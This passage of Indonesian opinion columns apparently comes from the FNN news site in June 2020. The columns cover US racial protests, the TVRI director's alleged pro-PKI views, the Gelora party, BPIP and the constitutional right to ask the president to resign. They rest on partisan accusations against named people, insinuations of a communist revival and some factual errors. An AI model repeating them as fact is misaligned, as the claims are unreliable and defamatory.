Topeka & Santa Fe Railway Co. McCabe berpendapat “separate but equal” adalah cara memebri akses pada kulit hitam menikmati kereta api. Tetapi ini ditolask oleh pengadilan. Pengadilan di sisi lain, pada kasus lain membenarkan hak Polisi menjaga keamanan, untuk mencegah kekerasan rasial. Grier menulis namun saat 1960-an, bergulir di Selatan hanya satu dari empat orang kulit hitam yang memenuhi syarat untuk memilih yang terdaftar. Dan yang akhirnya pergi ke tempat pemilihan lebih kecil dari jumlah tersebut. Perjuangan di dua medan ini baru benar-enar mencapai operubahan yang menggembirakan pada tahun 1965. Pada tahun itu Amerika mengamandemen konstitusi yang ke-24. Dalam amndemen ini diatur larangan memberlakukan pajak pemilihan umum tingkat federal. Dua tahun kemudian Mahmakah Agung menggugurkan ketentuan tentang persyaratan pemungutan pajak untuk pemilihan federal. Segera setelah itu Amerika membentuk UU tentang Hak-hak Pemungutan Suara, Voting Rights, tahun 1965. Indonesia Baik Saja Tetapi justru di titik itulah menariknya negeri ini. Mengapa? Pertama, bukan hanya telah memungkinkan orang kulit hitam memasuki pekerjaan politik dan official, tetapi lebih dari itu. Belum lama Amerika berjaya dengan kulit hitam, Tuan Barack Obama, berada di puncak politik Amerika. Dia jadi Presiden. Sudah berkulit hitam, dicurigai muslim pula. Beristrikan wanita berkulit hitam juga, tetapi tetap bisa menduduki kursi presiden, terlihat cukup mengagumkan. Tuan Obama pasti juga dipilih oleh kulit putih, entah karena terbuai kemampuan retoris yang hampir melebihi Abraham Lincoln mendekorasi kata demi kata, atau karena Joe Biden, itu soal lain. Apapun itu, mereka berbaris bersama di barisan Tuan Obama. Lalu mengapa masa 10 tahun yang hebat itu, melayang bersamaan datangnya pemimpin baru? Sebelum Obama berkibar di puncak politik negeri ini, Keith Ellison, pria kulit hitam beragama Islam, lebih dahulu berkibar di Kongres. Orang kulit hitam lainnya juga berkibar di pemerintahan lokal dan kongres ini. Ini hebat. Kedua, nampak berkorelasi dengan kepemimpinan. Presiden Eishenhower memiliki kata yang begitu indah, kuat daya rekatnya untuk bangsa itu ketika ia meresmikan Masjid Pusat Islam di Ibu Kota negara tahun 1957. Presiden Eishehower juga yang mengirim pasukan Garda Nasional untuk memaksa Orval Eugene Vaubus, gubernur negara bagian Arkansas, memenuhi putusan Mahkamah Agung. Putusan itu menyatakan segregasi soal kulit hitam dan putih di dunia pendidikan adalah kebijakan yang inkonstitusional. Tuan Obama lama sesudah itu bicara dalam nada universalitas kemanusiaan yang hebat ketika mungkinkan pendirian Masjid di bekas Ground Zero. Semuanya terlihat berbeda pada era Tuan Trump berkuasa. Memang Tuan Trump tidak menjadi penyebab langsung dari demo ini. Namun kebijakannya untuk melarang, membatasi orang-orang dari sejumlah negara tidak bisa memasuki Amerika, menggema luas didunia sebagai yang paling rasis dan telanjang pada awal pemerintahannya. Ketidaksukaannya terhadap dua politisi perempuan kulit hitam Demokrat, terbilang aneh. Tetapi persis seperti itulah yang terjadi, dan semuanya terlihat cukup telanjang. Ada nada rasis yang telanjang. Nada itulah yang tampaknya tak bisa jauh dari Trump. Pada kasus Floyd, nada itu terlihat lagi. William J. Barber Co-Chair The Poor Campaign; A National Call For Moral Review terang-terangan menggambarkan Trump dengan kata-kata “every time he open his mouth, the spread racism”. Pada waktu bersamaan, Rayshawara Ray, sosiolog dari Meryland University menggambarkan dalam masa pandemi ini, 80-90% orang kulit hitam ditangkap. Mereka dituduh melanggar aturan social distancing (Lihat Assosiate Press, 30/5/2020). Beberapa bulan sebelumnya, Ahmaud Auberi, pria berusia 26 mati ditembak seorang tentara. Penembak teridentifikasi berkulit putih. Sepanjang 2020 ini telah terjadi perisitwa serupa tak kurang dari tiga kasus. Cukup beralasan, karena itu menilai semuanya memuakan. Sesak napas mereka oleh rasisme. Cukup menarik, ujung jari tangan-tangan putih, melambai-lambaikan karton-karton bertulisan “I Can’t Breath” (saya tidak bisa bernapas) di sepanjang jalan demo. Sesak bukan saja karena George Floyd, yang telah ditelungkupkan di atas trotoar, lalu lehernya ditekan dengan lutut Polisi sombong, Derek Chauvin, hingga tak bisa bernapas. Nampaknya orang-orang ini merasa sesak nafasnya atas keangkuhan rasisme, kesombongan dan ketidakadilan hukum. Hari ke delapan sudah “ledakan rasisme, ketidakadilan yang memuakan” menemani Amerika. Ini yang terasa aneh. Hitam dan putih bergandeng tangan berdemo. Kenyataan ini memanggil tanya siapa bermain dibalik fanatisme, bahkan supremasi kulit putih, Ku Kulux Klan di Amerika? Pembaca FNN yang budiman, tuan George Bush Jr, juga Tuan Obama telah berbicara untuk perubahan sistem hukum dan pengadilan yang lebih nyata di kemudian hari. Akankah ini dikerjakan oleh Joe Biden? Ah kata Noam Choamsky, politisi Amerika telah terlalu akrab dengan korporasi. Orang-orang Amerika, kata Choamsky telah memenuhi gambaran Walter Lippman tentang orang-orang kebingungan. Sama dengan orang Indonesia. Tetapi apapun itu orang-orang Amerika, hitam dan putih, sedang terbakar dengan kemuakan atas ketidak-keadilan, dan menuntu perubahan. Bagimana dengan di Indonesia? Ha ha ha, semua masih baik-baik saja. Ini negeri gemah ripah loh jinawi ko. Penulis adalah Pengajar HTN Universitas Khairun Ternate

Halo Dirut TVRI, Kenapa Takut Dengan Rekam Jejak Pro-PKI?

By Asyari Usman Jakarta, FNN - Rabu (03/06). Dirut TVRI yang baru, Iman Brotoseno (IB) menghapus akun Twitternya, @imanbr. Dia juga menutup blognya. Di kedua akun ini, IB punya banyak rekam jejak yang pro-PKI, pro-Gerwani, pro-pornografi. Plus, sikapnya yang cenderung tak suka pada figur-figur Islam, kalau pun tidak bisa disebut tak suka Islam. Dia babak belur diganyang oleh banyak orang dari segala lapisan. Ada netizen biasa, wartawan, penulis, politisi senior, dlsb. Semua ikut menyerang. Bagi mereka, IB tak layak menjadi Dirut lembaga siaran publik dengan semua rekam jejak yang dianggap buruk itu. Selama bertahun-tahun ini, IB memang gencar memperlihatkan preferensinya terhadap paham komunis. Di kedua akun medsos yang ditutupnya itu. Iman Brotoseno juga mengatakan Hari Kesaktian Pancasila tidak relevan lagi jika hanya dianggap sebagai cara mengenang jenderal-jenderal yang dibunuh PKI. Yang menjadi pertanyaan: apa salahnya Iman Brotoseno menunjukkan sikap pro-PKI? Bukankah itu lebih bagus? Dalam arti tegas dalam berprinsip. Transparan dalam bersikap. Tidak mencla-mencle. Bukankah orang seperti ini yang hidup terhormat? Bukankah konsistensi dalam ideologi dan sikap itu adalah perilaku yang mulia? Misalnya, dia tunjukkan rasa senangnya pada komunisme, marxisme-leninisme. Bukankah sikap ini sesuatu yang terpuji? Dalam arti, orang tidak perlu lagi mencari-cari siapa itu IB. Bukankah semua orang menjadi ‘lega’ bahwa IB blak-blakan dengan preferensi ideologinya? Tidak sembunyi-sembunyi. Bagi saya, itu malah mempermudah orang untuk memposisikan IB di peta sosial-politik Indonesia. Dengan memamerkan preferensi ideologinya itu, IB mempelihatkan sikap kesatria! Berani terang-terangan menunjukkan pikirannya. Teguh dalam berprinsip. Tentulah orang seperti beliau ini yang punya harga diri. Sekali dia tunjukkan pro-PKI dan Gerwani, dlsb, dia tidak gentar dan tidak mundur. Begitulah seharusnya. Sama seperti Ribka Tjiptaning. Dia menulis buku “Aku Bangga Jadi Anak PKI”. Anggota DPR-RI dari PDIP ini tidak malu-malu kalau publik tahu bahwa dia anak PKI. Dua jempol! Tapi, mengapa sekarang Iman Brotoseno seperti ketakutan dengan rekam jejaknya yang membela PKI, membela Gerwani, dan membenci Islam? Sampai-sampai dia harus menghapus akun Twitter dan blog yang berisi banyak cuitan dan tulisan “yang bagus-bagus” meskipun kontroversial. Agak mengherankan. Seharusnya sekarang, dengan jabatan penting sebagai Dirut TVRI, IB semakin keras menunjukkan keberpihakannya pada PKI. Supaya publik tahu siapa dia. Jangan malah surut. Seharusnya Anda, Bung Iman Brotoseno, tidak menghapus akun-akun medsos itu. Kalau perlu ditambah lagi. Jika tadinya Anda punya akun Twitter dengan nama @imanbr, sekarang buat yang lebih lantang lagi. Misalnya, gunakan nama @imanbrpropki, dlsb. Kok malah dihapus akun-akun medsos Anda itu? Sayang sekali. Apalagi banyak ‘follower’-nya. Dihapus itu artinya Anda pengecut. Tunjukkan saja pro-PKI dan komunisme. Mengapa takut atau malu-malu? Sekarang Anda menjadi Dirut TVRI. Inilah waktunya Anda lebih leluasa membela PKI. Anda sekarang mengendalikan televisi publik itu. Kesempatan baik bagi Anda untuk mempromosikan PKI atau ajaran-ajaran yang membuat umat Islam meradang. Isi saja TVRI itu dengan acara-acara yang mengkampanyekan komunisme-PKI. Tidak perlu terselubung. Dengan strategi begini, persoalan bangsa dan negara ini bisa ‘diselesaikan’ lebih cepat lagi. Bagus ‘kan? Ayo, Bung. Berani, enggak? Sisa-sisa PKI pasti mendukung. Dan blok politik besar “induk semamg PKI” pasti siap melindungi dan membeking Anda. Penulis adalah Wartawan Senior

Partai Gelora Indonesia Bisakah Bergelora?

Oleh Hersubeno Arief Jakarta, FNN - Krisis dan bencana tampaknya “berjodoh” dengan Anis Matta. Tak heran bila kalangan dekatnya menjulukinya sebagai Sang Nakhkoda di Tengah Badai. Tampil ke puncak pimpinan Partai Keadilan Sejahtera (PKS) ketika partai tersebut mengalami goncangan besar. Dilanda krisis dan bencana kepemimpinan. Kini dia muncul kembali mendirikan partai baru, di tengah bangsa mengalami bencana dan krisis akibat pandemi. Menkumham Jasonna Laoly Rabu (2/6) menyerahkan SK badan hukum Partai Gelora Indonesia yang didirikannya bersama sejumlah mantan elit PKS. Mereka tinggal mengikuti verifikasi faktual dari KPU, maka resmilah menjadi salah satu kontestan Pemilu 2024. Dalam dunia manajemen, figur seperti Anis Matta disebut sebagai turnarround artist. Figur yang mengambil alih manajemen ketika perusahaan sedang mengalami krisis, dan berhasil membalikkan situasi. Dari perusahaan yang semula nyaris bangkrut, menjadi perusahaan yang menguntungkan dan tumbuh berkembang. Akhir Januari 2013 Presiden PKS Luthfi Hasan Ishaaq ditetapkan Komisi Pemberantasan Korupsi (KPK) sebagai penerima suap dalam impor daging sapi. Kasus ini mengguncang PKS dan menghancurkan citranya sebagai partai yang mengusung slogan : Bersih dan Peduli. Anis terpaksa meninggalkan zona nyamannya sebagai Sekjen PKS yang telah diduduki sejak partai berdiri. Dia ditunjuk sebagai Presiden PKS baru. Tugasnya sangat berat. Memulihkan citra PKS. Pada saat bersamaan dia juga harus bisa menyelamatkan suara PKS. Pemilu 2014 sudah didepan mata. Tugas itu dilaksanakan dengan baik. Total suara PKS naik, namun dari sisi prosentase dan jumlah kursi turun. Hasil tersebut mengejutkan banyak pengamat. Semula banyak yang memperkirakan PKS bakal babak belur. Isu korupsi sangat telak menghujam jantung citranya sebagai partai dakwah yang bersih. Sejarah kemudian mencatat Anis bersama sejumlah elit PKS seperti Fahri Hamzah dan Mahfudz Siddiq, keluar dari PKS. Mereka mendirikan Partai Gelora Indonesia atau lebih dikenal sebagai Partai Gelora. Bergerak lebih ke tengah Dilihat dari ideologi Partai Gelora yang mengusung Pancasila, Anis dkk tampaknya konsisten dengan gagasan lamanya. Dia ingin mendorong PKS lebih ke tengah. Perpaduan antara Islam dan nasionalis. Bukan kanan luar yang selama ini dianut PKS. Pada Mukernas 2008 di Bali, Anis dkk mengumumkan keterbukaan PKS. Mereka membuka diri untuk bekerjasama dengan komponen lain bangsa Indonesia, bukan hanya umat Islam. Di beberapa provinsi, PKS mengusung anggota legislatif non-muslim. Namun gagasan ini secara internal tidak sepenuhnya diterima. Banyak yang menentangnya. Kini gagasan lama itu diwujudkannya melalui Partai Gelora. Mereka melangkah lebih jauh mengusung semangat kolaborasi dengan mengutamakan agenda kebangsaan. Gagasan itu sejauh ini cukup mendapat sambutan. Mereka berhasil membangun jaringan di beberapa provinsi non-muslim yang selama ini cukup sulit ditembus. Secara mengejutkan dalam waktu yang cukup singkat mereka berhasil mendirikan sebuah partai. Padahal syarat pendirian partai di Indonesia saat ini dikenal sebagai paling sulit di dunia. Harus memiliki 100 persen pengurus di seluruh provinsi. 75 persen di kota/kabupaten, dan 50 persen kecamatan. Saat ini Indonesia terdiri 34 provinsi, 514 kota/kabupaten, dan 7.904 kecamatan. Ibarat seorang bayi, Gelora dilahirkan melalui proses yang normal, bukan melalui operasi sesar. Mereka membangun sendiri jaringan di seluruh Indonesia, dengan susah payah. Bukan melalui jalan pintas. Mengakuisisi partai yang sudah berbadan hukum. Padahal mekanisme semacam itu sangat dimungkinkan, dengan biaya yang nota bene lebih murah pula. Perlu dicatat, hal itu mereka lakukan di tengah masa pandemi. Dari situ kita bisa mendapat gambaran militansi, soliditas, kekuatan jaringan yang mereka bangun dan miliki. Publik kini tengah mengamati, apakah Anis bisa membuktikan kesaktiannya kembali. Bukan “hanya” sekadar membenahi perusahaan yang mau bangkrut. Namun membangun sendiri “perusahaan” yang dapat tumbuh dan bersaing dengan parpol lain yang sudah ada. Tantangannya sangat berat, di tengah masyarakat Indonesia yang terbelah cukup dalam. Meminjam istilah mantan Presiden AS George W Bush Jr, kondisi masyarakat Indonesia saat ini berada dalam situasi “Either you are with us, or you are with the enemy.” Melihat reputasi figur para pendirinya, Menkumham Jasonna Laoly memprediksi Gelora akan menjadi partai penantang yang serius, pada Pemilu 2024. Bisakah semangat kolaborasi dan mengedepankan agenda kebangsaan yang mereka usung menjadikan Partai Gelora Indonesia sebagai partai yang bergelora? End Penulis Wartawan Senior.

BPIP Lembaga Mahal Yang Miskin Khazanah

By M. Rizal Fadillah Jakarta FNN – Rabu (03/06). Kepala Badan Pembinaan Ideologi Pancasila (BPIP) Yudian Wahyudi yang bertekad untuk puasa bicara karena "salah melulu". Akhirnya jebol juga bicara, saat peringatan harlah Pancasila. Yadian mengimbau para agar produsen hoaks menghentikan kebiasaannya mengeluarkan berita hoaks yang merugikan masyakat. Sindiran media adalah pertanyaan, siapa yang paling potensial untuk memproduksi hoaks itu? Arahnya adalah kekuasaan. Lembaga kekuasaanlah yang memiliki segala alat untuk memproduksi informasi hoaks tersebut. "Yudian tidak takut dipecat ?" sindirnya. Miskin khazanah, itu konklusinya untuk yang paling pas untuk BPIP. Omongannya kurang bermutu. Grasa-grusu asal ngomong. Senang memproduksi kegaduhan di masyarakat. Lalu, apa urgensinya dari lembaga yang "mahal" ini jika produksi narasi hanya segitu. Narasi kelas rendahan. Memiliki Kepala Lembaga yang narasinya "pas-pasan" saja. Terkesan kalau tidak memiliki kapasitas politik yang memadai. Apalagi jiwa kenegarawanan. Orientasi kerakyatan dan keumatan juga yang beradasa di kelas rendahan. Lebih dominan karena berada di tempat kepentingan kekuasaan. Ideologi Pancasila tidak tercerahkan kepada masyarakat dengan baik. Apalagi untuk diamalkan dalam kehidupan sehari-hari. Malah semakin jauh, buram dan kusam dibuatnya. Tanggal 1 Juni sebagai hari lahirnya Pancasila saja "debatable". Masa Pancasila lahir dengan sila pertama kebangsaan dan terakhir ketuhanan yang berkebudayaan? Terbalik, justru yang ada adalah pemerosotan. Ini sama saja dengan lahir itu"sungsang". Karena sangat berbeda jauh dengan Pancasila kini, yang sila pertamanya adalah Ketuhanan Yang Maha Esa. Semoga saja pernyataan rezim Jokowi bahwa tanggal 1 Juni 1945 sebagai lahirnya Pancasila bisa dibatalkan dan dicabut lagi setelah Jokowi nanti tidak berkuasa. Yang benar Pancasila itu lahir sempurna 18 Agustus 1945. Setelah sebelumnya melalui proses “Piagam Jakarta” yang disepakati tanggal 22 Juni 1945. Bukan 1 Juni 1945. Sebab pada tanggal 1 Juni 1945 itu sila Ke Tuhanan Yang Maha Esa Ditempat di ekor. Bukan di kepala. Yudian mengaitkan pengamalan Pancasila dalam bergotong royong. Dia juga menyontohkan masyarakat bersama membuat solokan atau gotong royong mengantar jenazah. Betapa rendah dan sesederhana itu. Lagi pula "gotong royong" itu kini menjadi kalimat samar dalam kaitan "jas merah", Pak. Pertama gotong-royong itu artinya kerjasama. Kedua, gotong royong itu adalah Ekasila nya Soekarno. Ini hanya bentuk opsi lain dari Pancasila. Bukan Pancasila. Narasi yang disampaikan kepada masyarakat jangan sampai mempermalukan dan merendahkan kelembagaan BPIP yang super mahal itu. Pancasila versus Ekasila. Sejak "salam Pancasila" dan " agama adalah musuh Pancasila" maka kompetensi Kepala BPIP ini mulai diragukan. Dampaknya, pada fungsi dan peran BPIP yang turut diragukan pula. Apalagi kini muncul RUU Haluan Ideologi Pancasila (HIP) yang berbau Soekarno-isme dan Komunisme-PKI. BPIP tidak mampu mengarahkan apa-apa untuk meluruskan makna Pancasila yang ada pada RUU HIP tersebut. Oleh karena itu, sudah sangat layak jika BPIP yang Ketua Dewan Pengarahnya Megawati Soekarno Putri ini segera dibubarkan saja. Boros dan habis-habiskan anggaran saja. Mendingan, dan sangat bermaat bila anggaran untuk BPIP dipakai untuk membantu ekonomi masyarakat yang terdampak pandemii virus corona. Kembali pada produsen hoaks, rakyat bertanya siapa yang paling siap bermain di arena produksi ini? Oposisi atau yang pro kekuasaan? Pemerintah yang punya banyak alat, termasuk intelijen harus bisa membuktikan dan membongkar dimana pabrik hoaks itu berada? Apakah di Posko Oposisi atau justru adanya di dalam Istana? Ini sangat penting, agar masyarakat atau rakyat tidak terombang ambing oleh jebakan permainan hoaks yang produsennya misterius. Lakukan pelacakan, mulai dari siapa figur yang gemar berbohong, berjanji palsu, atau membangun pencitraan diri. Terus meluas dan mendalam. Dengan kemahiran pelacakan aparat, diharapkan akan ditemukan produsen hoaks sebenarnya. Lalu Yudian Wahyudi insya Allah akan kecewa karena pernyataannya terbukti tidak akurat. Selamat malakukan pelacakan. Happy tracking. Penulis adalah Pemerhati Politik dan Kebangsaan.

Mungkinkah PKI Bangkit Kembali?

By Asyari Usman Jakarta FNN – Selasa (02/06). Kalau pernyataan Menko Polhukam Mahfud MD (31/5/2020) dijadikan pegangan, tampaknya tidak mungkin PKI bisa hidup lagi. Sebab, kata Pak Mahfud, Tap MPRS No. XXV/MPRS/1966 tentang larangan penyebaran ajaran komunisme-marxisme-leninisme tidak bisa dicabut oleh pihak mana pun. Dan, kata Mahfud lagi, tidak ada juga pihak yang ingin mencabut itu. Kalaulah anda semua yakin dengan ucapan Mahfud itu bisa dijadikan landasan, tentu tidak ada yang perlu khawatir. Kecuali anda tidak percaya kepada beliau. Lain lagi masalahnya. Terlepas dari jaminan Menko Polhukam, kita semua melihat begitu banyak gejala yang menunjukkan bahwa PKI sedang berusaha untuk bangkit lagi. Kita uraikan gejala-gejala yang membuat publik, khususnya umat Islam, menjadi curiga PKI tidak akan tinggal diam. Misalnya, ada upaya yang rapi untuk membalikkan fakta. Setelah Reformasi 1998, orang-orang atau kelompok tertentu berusaha menyebarkan opini bahwa PKI tidak melakukan kesalahan dalam peristiwa pembunuhan para jenderal pada 30 September 1965 malam (dinihari 1 Oktober 1965). Kemudian, ada pula desakan dari orang-orang yang mengatasnamakan keluarga PKI agar pemerintah Indonesia meminta maaf secara resmi kepada PKI. Maaf atas rangkaian peristiwa yang memakan korban orang-orang PKI. Bahkan ada yang meminta supaya kuburan massal PKI 1965 diusut tuntas. Seterusnya, bermunculan seminar atau diskusi yang arahnya membela hak-hak asasi manusia (HAM) warga atau keturunan PKI. Upaya ‘ilmiah’ ini diiringi pula oleh pemameran simbol-simbol atau lambang PKI di banyak pelosok negeri. Tidak lagi sembunyi-sembunyi. Ada banyak yang memakai kaos palu-arit di depan public. Ada pula yang membuat graffiti (corat-coret) di tembok yang memajangkan slogan atau lambang komunisme dan PKI. Terbaru, adalah kasus bendera merah-putih yang diberi lambang palu-arit. Bendera ini ditemukan kampus Universitas Hasanuddin, Makassar beberapa hari lalu. Jadi, belakangan ini bagaikan ada upaya sistematis untuk membukakan peluang bagi komunisme-PKI berkembang lagi. Banyak orang yang memberikan simpati kepada PKI. Dengan berbagai cara. Ada yang memperjuangkan pencabutan Tap MPRS 1966 tentang larangan komunisme-marxisme-leninisme. Dan ada pula yang mengatakan sesuatu yang sangat diinginkan oleh PKI. Yaitu, mengatakan bahwa orang yang memakai kaus palu-arit hanyalah ‘trend’ anak muda saja. Yang sangat mengkhawatirkan adalah perlindungan yang diberikan oleh kekuatan politik resmi. Misalnya, blok politik besar yang sengaja menampung orang-orang yang terkait dengan PKI. Menampung orang-orang yang menginginkan implementasi paham komunis di negeri ini. Kekuatan politik yang memiliki hubungan historis yang kental dengan PKI dan komunisme itu, tidak berlebihan kalau disebut sengaja memberikan ‘ruang hidup’ kepada sisa-sisa PKI. Ini dapat dilihat dari upaya memuluskan pengesahan RUU Haluan Ideologi Pancasila (HIP) yang diprakarsai oleh DPR. RUU yang ditolak oleh PKS bersama PAN dan dipersoalkan oleh PPP itu, tidak mencantumkan Tap MPRS XXV/MPRS/1966 seperti disinggung di awal tadi pada konsideran RUU. Banyak yang melihat ini sebagai upaya untuk menghalalkan komunisme dan PKI bangkit lagi. Meskipun Menko Polhukam dan para petinggi DPR yang menangani RUU HIP sibuk meyakinkan publik bahwa UU HIP akan memperkuat ideologi Pancasila. Tampaknya, tahun-tahun mendatang ini akan menjadi masa yang penuh tantangan berat bagi rakyat. Terlebih khusus umat Islam yang sangat keras melawan PKI. Umat Islam tidak boleh lengah. Sebab, sangat pantas diyakini bahwa memang ada kekuatan yang sedang bekerja untuk menghidupkan kembali komunisme-PKI di Indonesia. Dengan segala gejala pro-komunisme dan pro-PKI yang ada sekarang ini, kita akan setiap hari bertanya: mungkinkah PKI bangkit kembali? Penulis adalah Wartawan Senior

Ketika UUD 1945 Dijadikan Sebagai Panduan Makar

By Dr. Ahmad Yani, MH. Jakarta FNN – Selasa (02/06). Dalam UUD 1945, Negara Indonesia memperjelas posisinya sebagai negara yang mengakui hak dan kebebasan setiap warga negara. Pasal 28 Menyebutkan: “kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan, dan sebagainya ditetapkan dengan undang-undang”. Tidak berhenti sampai di situ saja. Masih ada pasal dalam UUD 1945 yang mengatur tentang kebebasan warga negara mengeluarkan pendapatnya. Selanjutnya Pasal 28E ayat (3) berbunyi “ Setiap orang berhak atas kebebasan berserikat, berkumpul, dan mengeluarkan pendapat.” Dipertegas lagi dengan pasal 28I ayat 1 yang berbunyi “Hak untuk hidup, hak untuk tidak disiksa, hak kemerdekaan pikiran dan hati nurani, hak beragama, hak untuk tidak diperbudak, hak untuk diakui sebagai pribadi di hadapan hukum, dan hak untuk tidak dituntut atas dasar hukum yang berlaku surut, adalah hak asasi manusia yang tidak dapat dikurangi dalam keadaan apapun”. Hak asasi itu bukan hanya tidak boleh dibatasi oleh siapapun. Namun juga tidak bisa dikurangi dalam hal apapun. Sementara Pasal 28J ayat 1 mengatur batasan Hak Asasi itu dengan mengatakan : “Setiap orang wajib menghormati hak asasi manusia orang lain”. Artinya, batasan itu hanya ada pada pergaulan antar sesama warga negara. Bukan antara negara (pemerintah) dengan rakyatnya. Oleh karena itu, tidak ada batas kebebasan bagi warga negara untuk menegur negara. Bahkan meminta presiden Mundur dari jabatannya sekalipun. Begitu aturannya. Mengkritik, mengecam, bahkan meminta mundur presiden dari jabatannya adalah aspirasi masyarakat yang sesuai dengan konstitusi negara. Presiden dipilih oleh rakyat untuk melaksanakan tugas dan kewajibannya sebagai presiden. Kalau rakyat merasa presiden tidak lagi memenuhi syarat sebagai presiden, rakyat berhak untuk memintanya mundur. Itu haknya rakyat yang memilih presiden. Kekuasaan itu tidak boleh membuat pejabatnya ”bertelinga tipis” atas kritikan rakyat. Jangan hanya mau mendengarkan pujian dan sanjungan semata-mata. Ini bukan negara feodal. Pengkritik dan penyanjung kekuasaan adalah dua hal yang tidak bisa dipisahkan dari kebebasan menurut pasal 28 UUD. Karena itu, kalau mau menghalangi kebebasan berpendapat, maka penyanjung kekuasaan juga harus dilarang. Tetapi penyanjung kekuasaan justru mendapatkan perlakuan yang istimewa. Ada orang yang senang menebarkan fitnah, adu domba, dan mengolok-olok orang lain. Mereka itu telah memenuhi unsur pidana. Namun mereka justru menjadi “binatang langka” yang tidak boleh disentuh oleh hukum. Hanya binatang langka yang masih dirawat, meski melakukan kejahatan. Maka di sini saya tegaskan, bahwa kebebasan berpendapat, dan kebabasan untuk menyatakan pikiran, baik itu memuji kekuasaan, atau mengkritik kekuasaan adalah hak warga negara yang tidak boleh di kurangi dalam hal apapun. Kebebasan berpendapat itu sah berdasarkan konstitusi negara. Meminta Presiden Mundur Kalau menganggap pemberhentian Presiden adalah makar dan tindakan pidana, maka konstitusi atau UUD bisa dikatakan buku panduan kejahatan. Hanya di dalam konstitusi UUD 1945, terdapat pasal yang mengatur tentang Pemberhetian Presiden. Tata cara tentang pemberhentian Presiden itu diatur dengan jelas dan terang benderang di Pasal 7A dan 7B UUD 1945. Kalau kita menganggap impeachment (pemberhentian) itu adalah kejahatan sebagaimana yang terjadi Pada Ruslan Buton yang meminta presiden Mundur, maka pasal ini harus dihilangkan dulu dari UUD 1945. MPR segera bersidang untuk mencabut Pasal 7A dan 7B dari batang tubuh UUD 1945. Sebagai warga negara, Ruslan tentu punya hak untuk menyampaikan pendapatnya. Ruslan berhak untuk menyataka tidak sejalan dengan pemerintah. Tidak sejalan dengan Presiden dalam hal mengelola negara. Pendapat Ruslan Buton itu sah dan konstitusional. Meminta presiden mundur atau berhenti adalah aspirasinya sebagai warga negara. Kalau meminta presiden mundur adalah pidana, maka konstitusi yang mengatur presiden diberhentikan juga dapat dianggap sebagai panduan makar. Buku tentang panduan kejahatan kepada negara. UUD 1945 mengatur dengan sangat jelas, dan terang bernderang tentang tata cara memberhentikan Presiden. Dengan Mekanisme yang jelas. Tidak ada yang sama-samar. Artinya, UUD 1945 memenuhi syarat sebagai “buku panduan makar” kepada pemerintah atau negara. Karena memuat skenario pemberhentian presiden. Begitu simpelnya. Padahal presiden diberhentikan itu dilakukan atas “Pendapat DPR”. Nah, “Pendapat DPR” itulah yang disebut “aspirasi rakyat”. Itulah yang menjadi aspirasinya Ruslan Buton. Bukan aspirasinya presiden atau pemerintah. Lalu kenapa rakyat yang bernama Ruslan Buton ditangkap ketika menyampaikan aspirasinya meminta presiden mundur? Apa yang salah ketika rakyat Ruslan Buton menyampaikan aspirasinya sesuai panduan sejumlah pasal yang ada di dalam batang tubuh UUD 1945? Anehnya DPD pun diam. Mengapa DPR diam ketika ada rakyat yang mereka wakili menyampaikan aspirasinya kemudian di tangkap? Ini pertanyaan serius lho! Cara Memberhentikan Presiden Ada dua cara untuk menghentikan Presiden dari jabatannya. Pertama, cara yang konstitusional. UUD 1945 menjelaskan bahwa usul pemberhentian Presiden dan/atau Wakil Presiden dapat diajukan oleh Dewan Perwakilan Rakyat (DPR) kepada Majelis Permusyawaratan Rakyat (MPR). Namun usul DPR ke MPR harus terlebih dahulu mengajukan permintaan kepada Mahkamah Konstitusi (MK) untuk memeriksa, mengadili, dan memutuskan pendapat DPR. Keputusan MPR atas usul pemberhentian Presiden dan/atau Wakil Presiden harus diambil dalam rapat paripurna MPR yang dihadiri oleh sekurang-kurangnya 3/4 dari jumlah anggota, dan disetujui oleh sekurang-kurangnya 2/3 dari jumlah anggota yang hadir, setelah Presiden dan/atau Wakil Presiden diberi kesempatan menyampaikan penjelasan dalam rapat paripurna MPR. Kedua, melalui tindakan extra konstitusional. Cara ini pernah dilakukan oleh Soekarno sebagai Presiden ketika membubarkan Badan Konstituante hasil Pemilu Tahun 1955. Soekarno mengumumkan dekrit Presiden 5 juli 1959. Yaitu menghentikan peroses perdebatan dalam menyusun konstitusi negara di Badan Kontituante, dengan kembali ke UUD Tahun 1945. Tindakan Soekarno waktu itu, sebenarnya bertentangan aturan hokum. Setidaknya tidak diatur dalam konstitusi negara, atau UUD Sementara Tahun 1950. Namun kemudian Dekrit Presden 5 Juli 1959 dapat dibenarkan menurut kondisi dan keadaan waktu itu. Selain itu desakan pemberhentian Presiden Soekarno diawali dengan demonstrasi memintanya mundur. Hingga akhirnya sidang Istimewa MPR meneruskan aspirasi itu, hingga akhirnya Soekarno berhenti. Begitu juga dengan Presiden Soeharto, desakan Mahasiswa dan Tokoh Reformasi akhirnya membuat Soeharto menyatakan mundur dari presiden. Setekag Soeharto mundur, BJ Habibie naik mengantikan Soeharto sebagai Presiden, dan meneruskan masa jabatan Soeharto, yang menurut UUD Tahun 1945 seharusnya sampai tahun 2003. Namun Presiden Habibie Mempercepat Pemilu yaitu Tahun 1999, dan MPR memilih Abdurrahman Wahid Sebagai Preside. Tindakan yang dilakukan Presiden Habibie juga extra konstitusional. Karena itu desakan atau permintaan dari rakyat, baik perorangan maupun kelompon yang meminta presiden mundur, bukanlah sebuah tidakan pidana. Permintaan itu wujud ekspresi rakyat atas aspirasi rakyat yang dijamin oleh UUD 1945. Hal ini pernah juga terjadi era Presiden SBY, yaitu gerakan turun ke jalan atau demontrasi besar-besaran untuk mencabut mandat rakyat yang diberikan kepada SBY. Gerakan nencabut mandat dari SBY sebagai Presiden ini dimotori Bang Hariman Siregar. Sampai ke depan Istana Negara. Pergerakan massa rakyat yang terorganisasi, atau parlemen jalanan, bisa meminta Presiden mundur. Apalagi kalau DPR tidak lagi dipercaya sebagai penyambung aspirasi rakyat. Dalam negara demokrasi, tidak ada institusi negara yang sakti mandraguna. Tidak ada jabatan negara yang dipegang seumur hidup seperti seorang raja. Tidak berlaku kultur feodalisme di dalam negara. Kekuasaan bisa berakhir kapan saja. Apalagi kalau rakyat sudah tidak lagi menghendakinya. Intinya rakyatlah yang berdaulat penuh atas negara. Apakah yang membuat presiden dapat diberhentikan? Berdasarkan Pasal 7A UUD 1945 pemakzulan presiden terdiri atas enam syarat. Presiden hanya dapat dilengserkan jika terbukti melakukan pelanggaran hukum, berupa pengkhianatan terhadap negara, korupsi, penyuapan, perbuatan tercela, tindak pidana berat lainnya, dan terbukti tidak lagi memenuhi syarat sebagai presiden. Artinya, 